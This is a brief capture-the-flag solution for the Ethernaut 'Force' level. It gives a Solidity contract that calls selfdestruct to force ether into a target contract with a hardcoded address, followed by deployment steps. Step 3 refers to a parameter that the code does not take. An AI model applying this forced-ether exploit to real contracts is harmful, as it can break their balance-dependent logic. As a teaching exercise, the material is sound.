Level 7 - Force - Ethernaut

ForceHack.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract ForceEth {
    
    function forceEth() external payable {
        address payable attackContract = 0xf53Eb1E507B15561661efEDe9899beDA45d051f5;
        selfdestruct(attackContract);
    }

    receive() external payable {
    }
}

1. Deploy the ForceEth contract
2. Fund it with some wei through the receive function
3. Call the forceEth function to self-destroy the contract and address the balance to the Force instance passed on the parameter
4. Check the state of the balance of the Force instance:
   getBalance(instance);